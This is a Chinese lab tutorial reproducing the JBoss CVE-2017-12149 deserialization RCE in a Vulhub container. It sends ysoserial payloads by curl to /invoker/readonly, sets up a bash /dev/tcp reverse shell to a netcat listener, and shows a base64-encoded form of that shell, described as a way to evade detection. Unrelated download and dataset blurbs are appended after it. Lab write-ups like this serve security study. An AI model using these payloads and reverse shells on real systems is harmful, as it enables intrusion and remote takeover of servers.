JBoss反序列化漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-12149 3种方法)

目录

一、JBoss反序列化漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透准备

1、访问环境

2、识别漏洞特征

3、下载攻击脚本

(1)生成序列化的poc

(2)图形化工具

(3)反向连接Shell工具

四、手动渗透 

1、ysoserial.jar生成poc.ser

2、执行攻击

3、验证攻击效果

五、图形化渗透

1、探测漏洞

2、执行攻击

3、反弹shell方法1(手工编码法)

(1)攻击机监听

(2)目标机建立连接

① 原始命令

② base64编码

③ 攻击目标机

(3)反弹shell成功

六、反弹shell方法2(脚本法)

1、攻击机监听

2、生成ser文件

3、攻击目标机

4、shell连接成功


本文通过vulhub靶场的JBoss反序列化漏洞关卡讲解CVE-2017-12149漏洞原理、渗透环境搭建、并通过两种方法进行渗透的全流程(包括命令执行、反弹shell)。

一、JBoss反序列化漏洞

1、漏洞简介

JBoss 反序列化漏洞(CVE-2017-12149)是 JBoss Application Server 5.x、6.x 版本存在的高危远程代码执行漏洞,危害等级高且无需身份验证。其漏洞根源在 HttpInvoker 组件的 ReadOnlyAccessFilter 过滤器,该过滤器在处理 /invoker/readonly 路径的请求时,会直接对客户端传来的序列化数据反序列化,未做安全检查。攻击者可通过 ysoserial 等工具构造恶意序列化数据,向目标路径发送 POST 请求,服务器反序列化时会执行恶意代码,使攻击者获取服务器控制权。

  • 漏洞编号: CVE-2017-12149

  • 漏洞名称: JBoss AS 6.x 反序列化远程代码执行漏洞

  • 漏洞类型: 反序列化不安全对象导致远程代码执行(RCE)

  • 危险等级: 严重 (Critical)

  • 影响组件: JBoss AS 中 HttpInvoker 组件下的 /invoker/readonly 服务端点。

2、漏洞原理

漏洞的核心是 Java 反序列化机制的安全问题。JBoss 的一个公开接口对客户端传来的数据没有任何安全检查,直接进行了反序列化操作。攻击者精心构造一个包含恶意指令的序列化数据包发送给这个接口,服务器在反序列化这个数据时就会触发漏洞,执行攻击者的命令。

  • Java 反序列化: Java 允许将对象的状态转换为字节流(序列化),并可以从字节流中恢复对象(反序列化)。这常用于网络传输或持久化存储。

  • 危险的反序列化: 如果在反序列化过程中,应用程序接受了来自不可信来源的恶意序列化数据,并且类路径中包含某些具有“魔法方法”(如 readObjectreadExternal 等)的危险类,攻击者就可以构造特殊的序列化数据,在目标服务器上执行任意代码。

  • JBOSS 的触发点: 在受影响的 JBoss AS 6.x 版本中,默认提供了一个用于远程调用的 HTTP 接口:

    • http://:/invoker/readonly

    • 这个服务端点会无条件地接收并反序列化客户端发送的 POST 数据。由于 JBoss 的类路径中包含了可以构造攻击链的库(如 commons-collections),攻击者就可以利用这一点实施攻击。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现JBoss反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

# 进入JBoss反序列化漏洞(CVE-2017-12149)的漏洞环境目录
cd Jboss
cd CVE-2017-12149

4、启动漏洞环境

在CVE-2017-12149目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含jboss:as-6.1.0(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器e1f983ec8127属于 Vulhub 搭建的CVE-2017-12149漏洞复现环境(容器名均为CVE-2017-12149

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
e1f983ec8127   vulhub/jboss:as-6.1.0   "/run.sh"   8 minutes ago   Up 8 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:9990->9990/tcp, :::9990->9990/tcp   cve-2017-12149_jboss_1

  • 容器 ID: e1f983ec8127   

  • vulhub/jboss:as-6.1.0: 这是漏洞环境镜像,专门用来复现这个漏洞。

  • 8080 端口: JBoss 的Web服务端口。漏洞就出现在这个端口上的 /invoker/readonly 这个地址

三、渗透准备

1、访问环境

浏览器访问 Vulhub 提供的漏洞网站http://[目标机IP]:[端口] ,以本机为例,ip地址为192.168.59.128,端口号为8080, 故而访问http://192.168.59.128:8080即可进入Jboss渗透环境,这个页面就是我们的攻击入口,如下所示。

http://192.168.59.128:8080

2、识别漏洞特征

访问JBoss网址的/invoker/readonly目录,探测是否具有漏洞,完整URL如下所示。

http://[目标机IP]:[端口]/invoker/readonly

以本机为例,访问http://192.168.59.128:8080/invoker/readonly,目标服务器响应如下500的页面,则基本可以判目标服务器存在CVE-2017-12149漏洞。

3、下载攻击脚本

(1)生成序列化的poc

ysoserial.jar 用于生成反序列化利用链的Payload,下载地址如下所示。

https://github.com/frohoff/ysoserial/releases

(2)图形化工具

使用自动化工具进行渗透,其GitHub网址如下所示,选择Release下载,如下图红框所示。

https://github.com/yunxu1/jboss-_CVE-2017-12149

解压后文件夹内容如下所示,其中jboss反序列化_CVE-2017-12149.jar为攻击脚本、verify_CVE-2017-12149.jar为探测脚本。

  •  verify_CVE-2017-12149.jar
    • 功能:用于在命令行模式下验证目标是否存在 CVE-2017-12149 漏洞。
    • 使用方式:通过执行命令 java -jar verify_CVE-2017-12149.jar http://xxx:8080 进行检测(其中http://xxx:8080为目标服务器地址)。
    • 验证结果:若漏洞存在,会返回特征字符串 vuln6581362514513155613jboss
  • jboss 反序列化_CVE-2017-12149.jar
    • 功能:从代码实现来看,该 jar 包是一个用于利用 CVE-2017-12149 漏洞的工具,主要功能包括:
    • 漏洞检测:通过发送特定请求检测目标服务器是否存在该漏洞,并判断目标服务器的操作系统(Windows 或 Linux)。
    • 命令执行:若漏洞存在,可向目标服务器发送指定命令并获取执行结果。
    • 交互界面:提供了图形化界面(基于 Swing),用户可在界面中输入目标服务器地址和要执行的命令,操作更便捷。

(3)反向连接Shell工具

如下反序列化工具对于 CVE-2017-12149 和 CVE-2015-7501/7504 漏洞都可以进行利用,本次使用反弹shell工具ReverseShellCommonsCollectionsHashMap.java。

https://github.com/ianxtianxt/CVE-2015-7501

下载后解压,如下图所示。

四、手动渗透 

1、ysoserial.jar生成poc.ser

我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

在攻击机kali中执行命令,利用ysoserial.jar序列化工具将攻击者想要执行的命令(touch /tmp/ mooyuan888)进行序列化,生成的poc.ser和ysoserial.jar在当前路径下。

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/mooyuan888" > poc.ser

2、执行攻击

继续在终端命令行输入如下命令,向目标服务器发送poc(poc.ser)。

curl http://[目标机IP]:[端口]/invoker/readonly  --data-binary  @poc.ser 

以本机为例命令为curl  http://192.168.59.128:8080/invoker/readonly  --data-binary  @poc.ser。

curl  http://192.168.59.128:8080/invoker/readonly  --data-binary  @poc.ser 
<html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to org.jboss.invocation.MarshalledInvocation
        org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106)
</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>  

3、验证攻击效果

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功,说明漏洞复现成功。

五、图形化渗透

1、探测漏洞

命令行模式下验证目标是否存在 CVE-2017-12149 漏洞,命令如下所示,存在漏洞。

java -jar verify_CVE-2017-12149.jar http://192.168.59.128:8080
vuln6581362514513155613jboss

2、执行攻击

命令行种使用java -jar jboss反序列化_CVE-2017-12149.jar启动攻击工具,如下所示。

将目标中的ip地址和端口号替换为JBoss靶机环境,以本机为例为192.168.59.128:8080,修改后点击检测如下所示。

cmd的输入部分使用默认的whoami,点击执行如下所示。

3、反弹shell方法1(手工编码法)

(1)攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

(2)目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 在 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② base64编码

对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}:用 echo 输出一串 Base64 编码字符串,该字符串解码后就是之前提到的反向 shell 命令bash -i >& /dev/tcp/192.168.61.128/6666 0>&1

  • {base64,-d}:对前面输出的 Base64 字符串进行解码

  • {bash,-i}:将解码后的内容作为命令,通过交互式 bash 执行

③ 攻击目标机

在图形化工具执行如下命令,通过编码隐藏真实的反弹shell命令。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

(3)反弹shell成功

此时查看kali攻击机监听,已经连接成功,输入命令ip addr,返回正确结果,说明渗透成功。

六、反弹shell方法2(脚本法)

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

2、生成ser文件

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。使用反向连接工具,kali中执行如下命令生成ser文件。

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 192.168.59.128:6666

这条命令会生成恶意的序列化数据文件ReverseShellCommonsCollectionsHashMap.ser。这个文件被设计成一旦被JBoss反序列化,就会命令JBoss服务器执行反弹Shell命令,连接到攻击机 192.168.59.128的6666端口。

  • java -cp .:commons-collections-3.2.1.jar

    • -cp: 指定Java程序的类路径(Classpath),即告诉Java去哪里找需要运行的类和依赖库。

    • .:commons-collections-3.2.1.jar: 类路径包含两个地方:

      • . : 当前目录

      • commons-collections-3.2.1.jar : 当前目录下的这个特定jar包。这个库是构造攻击链的关键。

  • ReverseShellCommonsCollectionsHashMap.java

    • 这是攻击代码的主类。这个Java程序专门用来生成一个恶意的序列化对象

    • 这个对象利用了 commons-collections 库中的漏洞(一个特殊的“魔法方法”),当JBoss反序列化这个对象时,就会触发漏洞。

  • 192.168.59.128:6666

    • 这是攻击参数,告诉上面的攻击代码:“让被攻击的服务器反弹连接到我的机器(192.168.59.128)的6666端口”。

3、攻击目标机

攻击机向存在漏洞的JBoss服务器发送攻击数据(Payload)的命令,具体如下所示

curl  http://192.168.59.128:8080/invoker/readonly  --data-binary  @ReverseShellCommonsCollectionsHashMap.ser

4、shell连接成功

此时查看kali攻击机的监听,已经成功连接,输入ip addr显示docker的ip地址,渗透成功​​。

【源码免费下载链接】:https://renmaiwang.cn/s/trd05 Quartus II是一款由Altera公司开发的FPGA(Field-Programmable Gate Array)设计软件,主要用于VHDL和Verilog HDL等硬件描述语言的设计、仿真、综合、配置和编程。对于初学者,掌握Quartus II的基本操作是进入FPGA设计领域的第一步。在Quartus II的使用过程中,首先需要进行的是软件的安装和启动。安装完成后,打开Quartus II,会显示欢迎界面,点击"OK"继续。接下来是创建一个新的工程,这是设计流程的起点。在创建工程时,确保工程文件名与顶层实体名一致,这是良好工程组织习惯的一部分,有助于后期的管理和调试。选择原件(Components)是设计过程中的关键步骤。Quartus II提供了丰富的元件库,包括各种逻辑门、触发器、计数器、D/A转换器等。在本例中,我们选择了四分频触发器。选择原件时,需要根据设计需求和FPGA芯片的特性来决定,不熟悉的原件可以通过查询文档或在线资源来了解其功能和用法。新建VHDL文件是实现逻辑设计的地方。在"File"菜单中选择"New",然后选择VHDL源文件,输入文件名并点击"OK"。接着,就可以在文本编辑器中编写VHDL代码了。VHDL是一种强大的硬件描述语言,用于描述数字系统的结构和行为。四分频触发器的VHDL代码通常会包含一个时钟信号的分频逻辑,例如通过计数器实现。完成代码编写后,需要进行编译。在Quartus II中,编译是通过点击工具栏上的"Start Compilation"按钮或者在"Project"菜单中选择"Compile Project"来实现的。编译过程会检查语法错误、逻辑错误,并生成相应的逻辑结构。编译成功后,可以进行仿真以验证设计的功能。在工具栏上点击仿真图标,或者在"
【源码免费下载链接】:https://renmaiwang.cn/s/9p75y 在C#编程中,TabControl是一类广泛使用的用户界面组件,它通过不同的选项卡帮助组织和切换多个内容区域。本资源提供了一种TabControl的自定义实现方案,命名为TabStrip控件,该方案包含源代码文件并经过VS.NET 2010平台的严格编译验证,确保其稳定运行。在Windows应用开发中,TabControl扮演着关键角色,它通过直观的方式让用户管理多个相互关联但独立的数据或功能区域。开发者可以通过C#语言及其System.Windows.Forms命名空间中的相关类库方便地创建和管理选项卡组件。TabStrip控件可能包含了一些高级功能或优化措施,如自定义样式、动态选项卡添加以及触摸友好的交互体验。Delegates.cs文件中记录了用户与控件交互的事件处理策略,而Enums.cs则定义了控件相关的枚举类型,例如选项卡布局方式和状态设置等。TabStrip项目的构建信息包含在两个主要工程文件中:TabStrip.csproj用于项目配置,而TabStrip.sln则是Visual Studio的工作方案文件。同时,在开发过程中还涉及多个支持文件,如".csproj.user"以存储用户特定的IDE设置,Properties目录收集项目属性信息,并通过BaseClasses实现控件的基础功能。此外,相关的控制集和辅助类也可为TabStrip控件提供额外的功能支持。FATabStrip.bmp可能用于选项卡图标或设计预览图。通过深入研究这份源码,开发者可以掌握自定义Windows Forms控件的开发方法,并学习如何利用C#语言进行组件设计、委托与枚举的应用以提升代码质量和可维护性。同时,分析项目的构建过程也能帮助理解项目结构和资源管理方式。这些内容对于提升C#编程技能和优化Win
本资源为CN05.1高分辨率气候格点数据产品,覆盖整个中国大陆,时间范围为 1961—2023年,空间分辨率为 0.25°×0.25°,数据变量为月最低温度(Tmin, ℃),由国家气象信息中心提供的2400多地面观测站日值数据经过严格质量控制、插值融合与格点化处理生成。 在技术方法上,CN05.1数据集基于改进型薄板样条插值算法(Improved Thin Plate Spline, TPS),并结合数字高程模型(DEM)的地形校正项,以充分考虑地形起伏、站点密度及空间相关性。其插值过程使用1961年以来全国2400余个地面台站的长期序列观测数据,经过异常值检测、系统偏差订正与逐日平滑处理,保证了数据的时空连续性与气候一致性。 该数据已在中国区域气候变化、影响评估、气象要素重分析对比及水文气候模拟等多个领域得到广泛应用。其主要优点包括: 长时间序列一致性强:覆盖1961年至2023年,共63年月尺度连续数据; 空间精度高:分辨率0.25°(约25公里),能较好反映最低温度空间分布情况; 气候适用性好:适用于区域气候变化检测、极端事件统计、影响评估等多种研究场景。 数据以NetCDF(.nc)格式存储,遵循CF(Climate and Forecast)气候数据标准命名规范,研究人员可在Python(xarray、netCDF4)、MATLAB、NCL或ArcGIS Pro等软件中直接读取与可视化分析。 该数据集可以为气候动力分析、陆面过程模拟、极端事件归因研究提供重要支撑,是中国高分辨率气候数据产品体系中重要的最低温度观测格点数据之一。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值